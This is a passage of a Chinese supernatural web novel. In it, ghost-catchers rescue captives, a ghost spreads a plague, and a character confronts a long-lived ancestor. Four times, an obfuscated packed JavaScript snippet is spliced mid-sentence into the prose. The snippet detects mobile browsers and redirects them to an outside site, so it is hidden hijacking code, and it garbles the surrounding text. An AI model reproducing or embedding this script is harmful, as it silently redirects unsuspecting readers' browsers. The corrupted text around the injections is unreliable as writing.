接着,贾奎也被猫头鹰们从大楼里拖了出来,以同样的方式杀死,最后只剩下骷髅架子。 两副骷髅架子被猫头鹰们叼着,飞啊飞,飞到化粪池上空,扔到化粪池里去了。 “这两人接触过邪术,接触过邪术的人不会再轮回转世。”月下,金绮月轻笑着说。 虽然过程有点残忍,但左轻白和兰殊尔都不心疼,扈光和贾奎作恶多端,害了那么多人,再惨的下场都是活该,金绮月算是做了一件好事——如果她就此停手的话。 周夙走近金绮月,眼中满是痴迷。 周夙对金绮月说:“绮月,你做得对,这两个人该死。” 金绮月难得笑眯眯地主动搂上周夙,她对周夙道:“听说你来查这栋大楼是为了我,嘻嘻,既然查到了真相,那为什么不早帮我杀了那两人呢?” 周夙还没说话,金绮月就抢先帮他答道:“我知道为什么。你是人,不是鬼,人间有人间的法律,你受人间法律约束,不敢轻举妄动。” 金绮月哈哈大笑,她放开周夙,在月下转了一个圈,姿态优美,金绮月笑道:“我早说了,当人约束太多,哪有当鬼自在?” 她再次让两只手的金镯相互碰撞,镯子上的金铃响起。 金铃一响,鬼气蔓延。 那些飞到四面八方的猫头鹰聚拢了过来,一个个眼冒绿光。 “去吧。”金绮月一边施法一边大笑着对它们说,“去吧!” 猫头鹰们俯冲下去,飞向方圆十里的办公楼和居民楼。 一只猫头鹰从左轻白的鼻尖掠过,左轻白从它爪子上闻到了一股辛辣刺鼻的味道。 “这气味?”左轻白瞳孔一缩,“瘟疫!” 猫头鹰的爪子带着病毒,病毒会导致疫病。 “你想让疫病蔓延?”左轻白质问金绮月。 果然周夙的担心是对的,扈光敢冒犯金绮月,如果让金绮月亲自来报仇,那就不仅仅是报复扈光、贾奎以及中开影业这么简单了,以金绮月的性子,她一定会扩大报复范围,方圆十里不能幸免。 “不是我哦,小若姐姐。”金绮月眨巴眨巴眼睛说,“扈光那老东西弄了一堆半死不活的怪物堆积在公司大楼里,她们的躯体处于半腐烂的状态,能不滋生病毒和瘟疫吗?我只是加了一点火候而已。” 金绮月捂嘴轻笑:“瘟疫一但开始,苦难就多了起来,这对我来说是大补。” 人间苦难是金绮月的食物、补品。 “金绮月你……”左轻白双拳紧握,气到发抖。 “觉得我很坏吗?”金绮月露出可怜楚楚、委屈巴巴的表情,说:“小若姐姐,我虽然是神通鬼,但你要知道,我从来都不是最坏的那一个。” 说完,金绮月转过身,表情一冷,冷漠地问周夙:“你是要跟我走,还是留在这里跟他们善后?” 周夙温柔地一笑,目光全在金绮月身上,他毫不犹豫地说:“当然是跟你走。你好不容易出来寻我一次,我能不跟你走吗?” 金绮月嘴角一勾,露出得意的微笑。 周夙是她的,哪怕是个玩具,那也是她的。 “对了。”金绮月忽然想起什么,转头对左轻白说:“那个,小若姐姐,忘了跟你说,你最好赶紧去负二层看看,你老公在那里,不知道人怎么样了。” 说完,金绮月牵起周夙的手,从楼顶纵身一跃,跳了下去,两人无影无踪。 “路回?”左轻白心里慌了一下。 兰殊尔说:“我们兵分两路,你去救路回,我去破了这栋楼的阵法。”他看了看夜空,忧心忡忡道:“阵法能破,可瘟疫,我怕我们都阻止不了啊……” 兵分两路,说干就干,左轻白负责救路回,兰殊尔负责破阵。 金绮月把祭品的魂魄放走了,祭品不再是半死不活的状态,而是变成了彻彻底底的死人,所以兰殊尔看到的场面触目惊心。 不过正如金绮月所说,祭品被扈光用邪术变成半死不活的样子,已经不可能复活,放她们的魂魄离开,让她们解脱,顺利进入轮回,比这么吊着她们好。 左轻白慌忙跑到负二层,大喊了一声:“路回!” 负二层亮着灯,那扇周夙口中打不开的门,如今已经被人打开了,路回居然在里面。 门里正如菲菲描述的那样,堆积着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945614|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大量黄金、珠宝、奢侈品,这些东西被用来供奉三个神龛,神龛里是三个活着的女人,女人们闭着眼,陷入沉睡。 路回爬上神龛,把神龛上禁锢着的女人一个个放下来,将她们平放在地上。这三人是“母神”,跟其他的祭品不同,她们没有死,也不是半死不活的状态,有呼吸,有心跳,脸颊红润,看起来很健康,也就是说,她们还有救。 左轻白疯狂地跑了进去,扑向路回。 “你怎么样?”左轻白焦急地问,“你怎么会在这里?你没受伤吧?” 于是路回把他的遭遇告诉了左轻白。 路回说:“我睡过去之前听到他们说10点半会有一个医生来清除我的记忆,幸好10点15分的时候药效就过了,我醒了过来,赶在10点半之前躲进了这扇门。我听到门外面传来脚步声,应该是那个医生来了,他没找到我,只能走了。可惜我没看到那个医生的脸,不过听脚步声,年纪应该挺大了。” 左轻白十分惊讶。周夙是个捉鬼师、修炼者,都打不开负二层这扇门,路回是怎么打开的呢? 于是左轻白问路回:“你是怎么打开这扇门的?” 路回伸出自己的手,他的手掌被割破,伤口还在渗血。 路回说:“我只是用了一点自己的血。”路回耸了耸肩,猜测道:“我也不知道什么原因,可能助道者的血能破邪术?” 左轻白一头雾水。这扇门是扈光用邪术构建的不错,但助道者的血能破邪术吗?不能吧? 左轻白死死盯着路回,左看看,右看看,她猛的凑近路回,把路回吓一跳。左轻白问:“我看过那么多古籍,从来没有一本古籍上提到助道者的血除了能帮捉鬼师外还能破什么邪术。路回,你不会……不简单吧?” 路回捧起左轻白的脸,一派无辜地说:“你在说什么?你男人就是个普通人,唯一不普通的地方可能就是比别的普通人要有钱一点。” 左轻白嘴角抽搐,“你那是一点吗?你那是很多!” 左轻白蹲下身,看了看平躺在地上的三个“母神”,帮她们把了一下脉。 “脉相平稳,没有生命危险,至少我们还能救三个人。”左轻白说。 这三个人,扈光还指望着她们孕育出健康的腿呢,怎么敢让她们有生命危险。 “那怎么一直不醒?”路回问。 左轻白伸手摸向其中一个人的头顶,马上摸出了门道。左轻白说:“不醒的原因是被邪术封印了。” 说着,左轻白的手突然一用力,竟然硬生生从那人的头顶拔出一根长长的钢针出来,钢针上密密麻麻写着咒语。 左轻白又把另外两人头顶上的钢针也拔了出来。 触目惊心。 “好了。”左轻白拍拍手,说:“再睡个12小时就能醒了。” 左轻白站了起来,看了一眼那三个空了的神龛,神龛上方写着两个词——“母神”和“子宫”。 左轻白突然冷笑一声,她拔出金色巨剑,猛地一劈,把神龛劈烂,并说了一句:“恶心。” 138. 有哪里不对 忽然,左轻白的手机响了,兰殊尔打来电话。 左轻白一接电话就迫不及待地问:“怎么样兰殊尔,你那边搞定了吗?” “搞定了,阵法破了。”兰殊尔冷冰冰地回答,“你呢,人救出来没有?” “路回没事,还额外救了三个人。” 两人简单地交换信息后就挂了电话。路回用好奇的眼神看左轻白,问:“你们捉鬼师之间也用电话沟通?” “不然用什么?” “影视作品里不是用法术吗?” 左轻白嗤之以鼻,“有了手机这么伟大的发明,能用手机为什么要用法术?” “……” 好像也没毛病。 左轻白单手叉腰,另一只手拿起手机拨号,这次她拨给了110,报警。 “捉鬼师只能管鬼,人的事情,还得让警察来解决。”左轻白说。 两人正在等待警方的到来,突然,兰殊尔的电话又打来了。 “怎么了?”左轻白一接电话就问。 这次电话那头的兰殊尔略显惊慌,他说:“你和路回还在负二层吗?” “在。”左轻白说,“我们还守着三个人呢。” 左轻白和路回守着被解救出来的三个女子,三个女子刚解了邪术,还要睡至少12个小时才能醒。 “带着那三个人,赶紧走!”这句话几乎是兰殊尔喊出来的。 “发生什么事了?”左轻白问。 “还记得电梯里看到的大水缸吗?这栋楼里真蓄了这么多水,阵法破了之后水缸突然爆裂,那些水全部往负二层灌了!” 左轻白还想问,然而就在这时几声古怪的声音传来,一面墙面被巨大的压力挤裂,出现裂缝,大量的水从裂缝灌入负二层;电梯立即亮起红灯,显示故障。 那些水灌进来了,可怕的是这层楼居然没有紧急疏散通道,只有电梯可达,而电梯已经故障了! 左轻白迅速念起咒语,法术包裹了左轻白、路回和被救下的三个人,在他们的周围形成保护罩,将他们护在一个大气泡里。 左轻白掏出一沓符纸,迅速在上面画符,画完之后把这些符纸贴在大气泡的四面八方,符纸上的咒语加强气泡的强度,以免气泡在水压下破裂、毁灭。 “这个气泡撑不了多久,它一旦破了,我们就会被淹死。我们必须尽快浮到水面去,可这是负二层,上面有天花板挡着,我们浮不上去。”左轻白说。 “那水是从哪流进来的?”路回问。 两人的目光投向那面被挤压出多道裂缝的墙,水就是从这面墙的裂缝渗透进来的。 “墙里是个夹层,夹层里就是在电梯中看到的大水缸,水从水缸里来。”路回说道。 “我们在电梯中看到的‘外景’是连接的,夹层从上到下连续17层没有隔断。如果我们能进入夹层,也就是进入水缸,气泡就能通过浮力浮到水面,我们就不会被淹死了。” “这面墙要是破个大洞就好了,现在只有几条裂缝,水是能进来,但我们还是出不去。” “那就去把那面墙打穿个洞。”左轻白想都不想就说道,丝毫不觉得有什么问题。 她不光说,还马上这么做了。左轻白钻出气泡,其速度之快,压根没给路回做出反应的时间。 “喂!”当路回反应过来时,左轻白人已经到了气泡外面,如今水已经抹过了她胸口,但她毫不畏惧,她手中出现金色巨剑,左轻白提巨剑朝那面墙劈去! 水里不好发力,左轻白的力量被水的阻力削弱,一击之下墙面毫发无损,左轻白并不气馁,继续二击,三击,四击。她手脚并用,手持巨剑,脚和膝盖骨也都没闲着,一起上。左轻白的表情坚定无比,让人想起女战士。 左轻白跟兰殊尔不一样,她没有思考周全才行动的习惯,遇到危难她只想着一个字——干,往死里干!没有什么事情是绝对力量干不成的。左轻白向来不喜欢深思熟虑的做事方式,她一直觉得,手脚先行动比大脑先行动更有用。 眼前这一幕把气泡里的路回看呆了,他想出去帮忙,可左轻白的符咒锁着他,他无计可施。 路回看着左轻白,幽深的目光中有焦急又有愧疚。路回小声说道:“如今我肉体凡胎,护不了你,反倒连累你……” 他话说到一半又吞了回去,路回沉默着,心疼地望着左轻白。 突然,巨大的水流猛的往里一灌,水流速度明显快了很多倍,原来是左轻白真的硬生生把一面墙打出个大洞,水肆虐地从大洞中灌了进来。 左轻白收起金色巨剑,屏气潜入水中,牵着那个气泡,从她打出的那个大洞穿过这面墙,进入墙后面的夹层。血丝从她左边膝盖渗出,在水中蔓延,她膝盖受伤了。 左轻白进入气泡,气泡借助浮力,带着几个人一起浮出水面。 最后,兰殊尔在16M层把几个人拉了出来。 如今阵法已破,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954200|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些机关没有邪术加持,就只剩下物理层面的东西——墙壁里有个17层楼高的超级夹层,夹层里是个灌满水的大水缸,有个观光电梯可以看大水缸。 兰殊尔把尸体都摆放在一层楼里,全是娱乐圈失踪女孩的尸体,警察来的时候被吓得不轻。 扈光、贾奎以及扈光的助手、帮忙寻找有福之人的其他人,都是杀害她们的凶手。 只有三个幸存。 幸存者被送进医院,左轻白和兰殊尔告诉了警察真相,但是隐去了阵法、邪术、捉鬼之类的信息。 左轻白破壁的时候伤了一边膝盖,现在走路一瘸一拐,路回扶住左轻白,给她递过来一瓶饮料。 左轻白一看,乐了,她接过饮料,没心没肺地笑道:“路回,你太好了,我都快渴死了,你怎么知道我想喝东西?” 左轻白口渴得不行,仰头就灌,一口气喝掉了一大瓶,喝下去之后她回味了一下饮料的味道,觉得有点古怪。 “这是什么饮料,味道这么怪?怎么有股血腥味?”左轻白皱着眉说。 “里面有我的血。”路回实话实说。 “啊?”左轻白惊了一下,她看到路回藏在身后的手,问:“你……你……这么大一瓶,你是割了多少血?” 路回摇摇头,只是说:“没多少,你快喝完吧,别浪费了。” 左轻白气得一跺脚,说了句:“你胡闹!” 她一着急,跺的是那只受伤的脚,然而出人意料的是一点都不疼。 左轻白愣了一下,低头去看自己的膝盖,发现刚才受伤的地方居然好了? 左轻白看了看手中的饮料,又看了看路回,眼睛瞪得比铜铃还大。左轻白问路回:“你的血什么时候有这种功效了?” 路回笑道:“难道不是一直都有吗?我是你的助道者啊。” “不……不是吧?”这下连左轻白都结巴了起来,她说:“古书上说助道者可以帮捉鬼师提升修为,没提到过他们的血液还有治病疗伤的功效。”左轻白指了指自己的膝盖,道:“而且见效这么快,这合理吗?” 路回轻描淡写地说:“古书记录不全也是有可能的。” 路回指了指左轻白手中那瓶掺了血的饮料,再次嘱咐:“快喝完吧,不要浪费。” 左轻白愣住了。 左轻白虽然时常大大咧咧、没心没肺,但她不是傻子,况且作为一个捉鬼师,她直觉一直蛮准的,直觉告诉她,有哪里不对。 139. 想让什么东西回来 后来,扈光、贾奎、中开影业的罪行被公布,这等匪夷所思、惨绝人寰的惨剧,通过媒体传播到全国乃至全世界,世界人民一起痛骂罪人,人道主义者骂得尤为激愤。 人们不知道其背后邪术、阵法、母神、塑腿的真相,只以为是扈光这个变态富豪有什么变态心理,通过潜规则残害女性,于是,“女性安全”、“职场安全”一时间成为了热点词条。 再后来,人们在化粪池里发现了两副人骨,根据DNA检测,分别是扈光和贾奎,至于是谁杀了他们,没有人知道,人们猜测是哪位行侠仗义的现代大侠,纷纷对这位不知名的“大侠”给予夸赞。 再往后,则发生了可怕的事情。 中开影业大楼附近的居民以及在附近上班的职员纷纷病倒,医院检测是不知名病毒。一场瘟疫以中开影业大楼为中心向外围扩散。病毒非常厉害,短时间内已导致多人死亡,作为病毒传播中心的中开影业,更是无人幸存。 专家称,此前扈光把他害死的人的尸体都堆积在中开影业大楼,尸体滋生病毒,病毒污染水源,才导致传染病。 而网上有人说,这哪是普通传染病,这分明是冤魂的报复! 疫病暴发后,丈夫失去妻子,妻子失去丈夫,孩子失去父母,父母失去孩子,这些悲剧,全都成了金绮月的口粮。 然而在公寓里,金绮月跟周夙围坐着喝咖啡,金绮月却满脸无辜地说:“不是我。” 金绮月双手托腮,说:“我以世间苦难为食,我吃我的食物,跟你们人吃大白菜没有不同,我有什么错?” 金绮月又道:“再说,苦难的罪魁祸首就不是我,溯本求源,是扈光、是贾奎,关我屁事啊?” 她说话嗲声嗲气,真像个受了委屈的小女孩。 周夙却皱着眉,说:“扈光和贾奎当然罪该万死,但是绮月,如果你不把聚集在中开影业大楼的尸毒扩散,疫病的传播范围不会像现在这么广,不会有这么多人死。你想要更多的悲剧,现在,如你所愿。” 金绮月奇怪地看着周夙,问:“听你这语气,你心疼了?你又没染病,染病的人中也没你的亲朋好友,你心疼个屁?” 金绮月撇撇嘴,道:“随便吧,你心疼就心疼,我不心疼,反正人都是要死的。我在世间500年,看多了一茬一茬的人死掉,又一茬一茬的人新生,跟韭菜似的。” “人死在你眼里就只是韭菜换了一茬?”周夙问。 “生命本就没有意义,生没什么可高兴,死亦没什么可悲痛,都不重要。” “在你心里什么重要?” “自由啊。”金绮月脱口而出。 周夙久久地看着她。 周夙心想:当初长老们看中她助道者的体质,把她关在天女城,限制她的自由,这件事对她的影响这么大吗? 周夙心里乱了起来,他想:或许,是天女城亲手塑造了神通鬼。 “你在想什么?”金绮月问。 周夙回过神来,他卖了个关子,冲金绮月笑道:“你本事这么大,要不你猜猜我在想什么?” 金绮月“格格”笑了起来,说:“我猜不出来,就算是鬼,也无法窥探人心。”她忽然往周夙的方向一靠,眨巴眨巴眼睛,欣慰道:“这就对了,要这样才有趣。” “你喜欢我这样?” “还行。”金绮月托腮,“你平时总是闷闷的,十分无趣,确实不讨喜,不过让我有种熟悉感,好像我以前认识过这样一个人,也是你这种性格。” 周夙心里“咯噔”一下,心中一股暖流流过。但他没有往下问这个人是谁,他期盼金绮月口中的这个人是他,但又害怕金绮月给出的答案不是他,所以干脆不问。 另一边,路回家,左轻白也在。 左轻白之所以不在片场,是因为受传染病影响,片场不得不停工。 左轻白没被感染,她趴在桌上,看起来十分沮丧。 路回坐在她旁边,安慰道:“别自责了,罪魁祸首是扈光,他不害人就不会有尸体堆积,没有尸体堆积就不会产生病毒。不是你的错。” 左轻白却说:“尸体产生的病毒如果没扩散,不会有这么大影响。那天晚上金绮月把它们扩散了出去,我错就错在我无法阻止金绮月。” 一向没心没肺的左轻白露出了痛苦的表情,她抱着脑袋蜷缩起来,说:“是我不够强大。” 左轻白知道自己几斤几两,虽然有路回这个助道者相助,她的修为一直在提升,但金绮月也加快了摄食速度,也一直在提升,提升的速度甚至比左轻白还快,没有弥月刃相助,左轻白依然还差金绮月一大截。 左轻白一锤桌面,急脾气又发作了,她又急又躁地说:“如果当初我练功更勤奋一点就好了,以前我修炼的时候老趁师父不在偷懒,现在打不过神通鬼,才知道错!” 左轻白站了起来,急得转圈圈,“找弥月刃碎片这件事,我要是更上点心就好了,到现在弥月刃还是一把残刀,怎么对付神通鬼!” 左轻白正着急,突然路回不知什么时候到了她身后,从她身后抱住她。 左轻白一愣,仿佛感受到一股令人平静的能量注入她的心房。 路回轻声叹气,“你总是这么说。” “总?”左轻白没听明白,“为什么是总?” “你太心急了,又爱把责任揽到自己头上。”路回没有回答左轻白的问题。 路回突然把左轻白抱起,走到沙发上坐下。 路回搂紧左轻白,用令人平静的声音说:“别担心了,担心只会内耗。我跟你打赌,这个星期内,传染病就可以很好地控制住。” “你怎么知道?”左轻白好奇地问。 路回耸耸肩,“我都说了,跟你打赌。” “所以是你猜的?” “你就看我猜得对不对吧。”路回搂了搂左轻白,“金绮月只是让病毒扩散,并没有在病毒上做手脚,这个病毒就是尸体堆积产生的病毒,跟鬼、鬼气没有关系,既然这样,那就应该相信我们的现代医学,能够把它打败。” 左轻白以为路回只是在安慰她,没想到不出一个星期,果然如路回所说,新闻报道,经过多方努力,疫病已经控制,国家医疗团队研制出特效药,提取抗体制作疫苗,停工的单位、公司、工厂逐渐复工,一切都在往好的方向发展。 左轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957284|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白惊讶地看着路回,“路回,你是神算子吗?” “这不叫神算。”路回得意洋洋地说,“这叫相信科学。” 左轻白收到一条微信,她看了一眼,说:“剧组通知复工了。” 路回却显而易见的不高兴起来。 “复工是好事,你这是什么表情。”左轻白问。 路回坐在沙发上,双手抱臂,右腿往左腿上一搭,把头一扭。 真不高兴了。 路回冷脸道:“你又要去跟兰殊尔演情侣了,高兴了吧?” 得,又醋了。 左轻白往沙发上一个飞扑,没轻没重地把路回扑倒,抱着路回哈哈大笑。 左轻白抱着路回的脑袋,大笑道:“说你是醋王,你还不信,哈哈哈哈!” 两人闹了一会,左轻白要出门了,不是去剧组,而是去找白柳。 白柳委托左轻白找菲菲,虽然菲菲已死,但左轻白带回了菲菲的魂魄。菲菲表示她想见白柳姐一面再进轮回,左轻白把这件事告诉了白柳。疫病好转后,左轻白和白柳约定了时间地点见面。 左轻白自己开车去的,菲菲的魂魄从符纸中钻了出来,坐在车后座,伸了个懒腰。 路程挺远,左轻白话多,菲菲也话多,于是一人一魂边开车边聊了起来。 “刚才那个就是路回?”菲菲问。 “是啊,我男朋友。”左轻白说。 “他之前跟扈光关系不错。” “那是因为他不知道他那个所谓的扈叔叔那么凶残变态。” “也是,他不知情。哎,轻白姐,我呆在中开影业这么长时间,偶然从扈光口中听到一个有意思的事情,关于你男朋友的,你要不要听听?” “是什么?” “扈光跟路回的爸爸很早就有商业来往,路回的满月宴扈光还参加过。据说一开始路回不叫路回,而叫另外一个名字,那个名字是什么我忘了,反正跟路宗锋、宋辉民一样,是三个字的,但两岁的时候突然改了,改成了路回。” “改了就改了呗,名字只是符号,叫什么都一样。” “不是的。你不觉得奇怪吗?大户人家的孩子,取名都很讲究,单名一个‘回’,不觉得太简单了吗?” 左轻白想想,觉得也是,自己在山上长大,师兄师姐大多出身孤儿院,叫什么的都有,没讲究,所以自己对取名没什么概念,觉得名字只是符号,但听说山下的家庭,尤其是大户人家,取名字可讲究了,又要看字辈,又要好意头。周夙名字简单可以理解为他是私生子,不受重视,但路回是路宗锋和宋子嘉的独子,不应该啊。 菲菲继续说:“据说是有一个道士对路回的外公宋辉民说,路回必须改名,不然活不过三岁,宋辉民很尊敬那个道士,问道士应该改成什么,道士算了一卦,说改成单名一个‘回’。” 左轻白笑了,“这个八卦真的……什么不改名活不过三岁?连我一个捉鬼师都觉得太封建迷信。” “我也不知道是真是假,从扈光那里听到的。”菲菲说。 “改成单名一个‘回’字是什么意头啊,是想让什么东西回来吗?”左轻白开玩笑地说。 140. 大雾天看星星 左轻白带着菲菲来到跟白柳约定见面的地方,没想到来的不止白柳,还有菲菲的父母。 菲菲的父母见到菲菲的魂魄当场就哭了,菲菲也情绪激动,一直在哭。 左轻白看到一家人阴阳两隔,虽十分触动,但也无能为力,她能做的就只有这么多了。 菲菲与父母相见后,左轻白送她入轮回,菲菲的父母恋恋不舍,追着左轻白问菲菲能不能轮回到一个好家庭,这个问题,左轻白无法回答。 了了菲菲的事后,左轻白驱车回剧组,剧组已经开工。工作还得继续做,钱也还得继续挣。 左轻白回剧组,路回也没闲着,他今天有一场大型商业剪彩仪式要参加,不能缺席。 剪彩仪式结束后,路回返程时天已经黑了,司机开车,路回坐在后座,他有些困了,闭目养神起来。 等红灯的时候,路回把眼睛睁开,目光往窗外扫了一圈。今天大雾,外面云雾缭绕,云上好像浮着一座亮着灯的塔,像海市蜃楼。 路回揉揉眼,仔细一看,才发现原来不是海市蜃楼,而是一座矗立在山顶的高塔,大雾掩盖了山体,只看到亮着灯的塔身。 “那是什么?”路回问。 “那是采云塔,少爷,一个有名的名胜古迹。” 路回这才想起这地方自己小时候去过,是一座有点历史的古塔,建在山顶,后来山顶还建了个公园,就叫采云塔公园。 司机打开了话匣子,说道:“这个采云塔的传说可有趣哩。传说采云塔在古代真的能摸到天上的云,那时候人们挎着篮子站在塔顶,把天上的云一片一片采下来,装在篮子里,然而有一次,有人采云的时候采到了不该采的东西,被神仙降罪,就在大家都要被天雷劈死的时候,突然有一对高人出现,救了大家。故事的结尾,采云塔再也无法采到天上的云,人们把塔改成了纪念塔,纪念救他们的那对高人。” 路回将手肘撑在车窗边,漫无目的地问:“是采到什么东西了,才会被神仙降罪?” 司机哈哈笑道:“这哪知道?可能是什么宝物吧。传说故事而已,听着玩的,哪能较真?” 路回不语,只是盯着那座塔看,有一瞬间他的目光充满哀伤。 忽然,路回想到了一件事,他对司机说:“刚才打电话给我哥,我哥说他在采云塔,这不就巧了,既然路过,我们上去看看吧。” 司机问:“少爷,可是都这么晚了……” “上去看看吧。”路回坚持。 采云塔。 采云塔每到晚上整个塔身就会亮灯,十分壮美华丽,不过采云塔公园每天晚上闭园,游人不能进入,只能在外面或者山下看。 现在早就过了采云塔公园的闭园时间,然而有一个人还留在园里,这人坐在采云塔下,手里拿着占卜用的铜钱,将铜钱往地上一撒。 铜钱泛起红光,像是什么阵术。 撒铜钱的人是周夙。 阵术唤来的是个年迈的老头,老头是宋辉民私人豪宅的管家方伯,也是周家祖先,周如森。 周家是巫师家族,周夙撒的这个铜钱阵术是周家的召唤术。 周如森走到周夙面前,周夙一点没有尊老的意思,他就这么坐着,并不起身迎接。 周如森用方伯的口吻指着周夙就是一通骂:“呸!为虎作伥的东西!凡灵小姐对你寄予厚望,希望你成为一个捉鬼师,而你,却天天跟在那个女鬼后面鬼混!” 周夙眉毛一挑,冷笑一声,道:“凡灵小姐?怎么叫得这么生分?她不是你后人吗?” “你……” “别装了,方伯。”周夙慢悠悠地开口,“一直以来你以一个被周凡灵救过的报恩人的身份,留在周凡灵身边,看着我长大,可我已经知道,你不姓方,你姓周,周如森才是你的名字。” “既然知道我是你祖宗,还不快快跪下!” “我不姓周。” 周夙说完,一股强劲的飓风刮过,迷了周如森的眼,一把宝剑迎面刺来,却在快要触碰周如森眉间时停下。 周夙口中念起咒语,周如森像被架在了一个十字架上,四肢动弹不得。 周夙把手背在身后,他姿态挺拔,这么好的姿态是他从前在天女城里练功练出来的。 周夙走到周如森跟前,开口道:“扈光的邪术跟周家祖宅那几副棺材里的干尸同源,如果我没猜错的话,是你学了干尸的邪术,然后教给了扈光。我说的对吧?” 周如森挣扎了半天也挣不开束缚,气得胡子都翘了,指着周夙骂道:“不肖子孙!” “凭你也配?”周夙语气冷漠,他对周如森毫无感情。周夙的表情阴郁冷淡,他说:“我不是你周家子孙,真算起来,我的年纪比你还大,你叫我一声爷爷还差不多。” 周夙又道:“我听路回说,他被困在中开影业负二层的时候,扈光说会有一个医生来清除他记忆,幸好他躲过去了。路回虽然没有见到这个医生,但他听到了脚步声,判断是个步履蹒跚的老人。这个医生,也是你吧?” 周如森闭上嘴和眼,不打算回答周夙的问题。 然而周夙毫不心慈手软,哪怕是对待一个老人。周夙握起拳头,狠狠地朝周如森的脸一拳打过去,周如森当场吐出一口血,再也不敢把眼睛闭上。 周夙冷冷地说:“你不光害路回,你还针对绮月。绮月为什么会出现在贾奎的找人名单上?是你动的手脚吧?从小到大你不停地在我耳边念叨要杀神通鬼,你到底是谁,跟绮月有什么恩怨?” 周如森哈哈大笑:“你管我是谁?有本事你杀了我!” 听到这话,剑立即落到周夙手上,周夙持剑往周如森腹部一捅,把他捅穿。 这样重的伤,周如森却没有死。 “杀不掉。”周夙收回剑,他早就知道结果。 周如森杀不死。 周夙说:“留着你也是个祸害,不如我把绮月叫来,看她有没有办法杀你。” 神通鬼的威名太大,周如森也害怕了,立即大声说道:“我干什么坏事了?我就只是教过扈光邪术而已,而你那个鬼女友,吃人、屠城,什么没干过?杀我干嘛,去杀她啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971906|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “我不管她干过什么,这一世我只认她。”周夙是个死心眼。 “不能把金绮月叫来!不能杀我!”周如森急了,大声喊:“占卜!你还记得小时候你妈妈教你的占卜术吗?” “她不是我妈妈。”周夙否认。 “你可以不承认自己姓周,但她生了你,你就要承认她是你妈!”周如森眼睛都快爆出来了。 周如森对周夙说:“你也会占卜,你自己占一卜看看,如果我现在死了,会有什么后果?” 周夙既是捉鬼师转世,也兼具巫师家族的能力,他会占卜。 周夙看了一眼周如森,接着盘膝而坐,拾起地上的铜钱,开始占卜算卦。 卦象一开,周夙当即瞪大了眼。卦上说,周如森已经活了225岁,他寿终正寝的年龄是227岁,周如森必须活到寿终正寝的年龄,如果没有,就会出现天崩地裂的灾害。 周夙讨厌周如森,但周家的占卜术他不能不信。 周夙把铜钱收起来,对周如森说:“你不是人,没有人能活到225岁。” 他走到周如森跟前,说:“我不喜欢你,但巫师家族的占卜术却不能不信。天崩地裂事关重大,要是发生,人、鬼都要遭殃,我不能乱来。你还有两年,我怕你乱跑,不如我找个地方关着你,好好查一查你是个什么怪物。” 话音刚落,突然一阵汽车行驶的声音传来,不一会,两盏车灯朝周夙的方向射过来,灯光刺痛周夙的眼睛。 周夙脸色一冷,杀意一起,但很快他就发现从车上下来的不是别人,正是他同父异母的弟弟,路回。 路回逆光走来。这俩人虽然只是同父异母,但长得是真像,尤其是身材,都是腰细腿长的衣架子,不同的是路回比周夙要明朗贵气,到底是从小按继承人标准培养的。 路回朝周夙露出一个微笑,问:“哥,大晚上的,人家公园都闭园了,你怎么还呆在这里?”接着他的目光转向周如森,惊讶道:“方伯?你怎么也在?” 周夙默默解了周如森身上的咒,周如森的四肢终于可以自由活动。 周如森向路回鞠了一躬,用方伯的口吻跟路回打招呼:“少爷。” 路回笑道:“晚上气温低,方伯年纪大了,别在这里吹风,回家休息吧。” 周夙突然道:“方伯现在还在你外公家当管家吗?” “是啊。”路回回答。 “方伯年纪大了,该退休了。”周夙说。 “我没说要退。我退休了,宋老先生会不习惯的。”周如森说。 路回也道:“是啊,我外公那套宅子离不开方伯打理,换人我外公不习惯。” 周夙看了一眼路回,欲言又止;路回一脸无辜,只是微笑。 一阵冷风刮过,路回体贴道:“方伯年纪大,不能吹冷风。方伯先去车里坐着吧,我跟哥看会星星。” 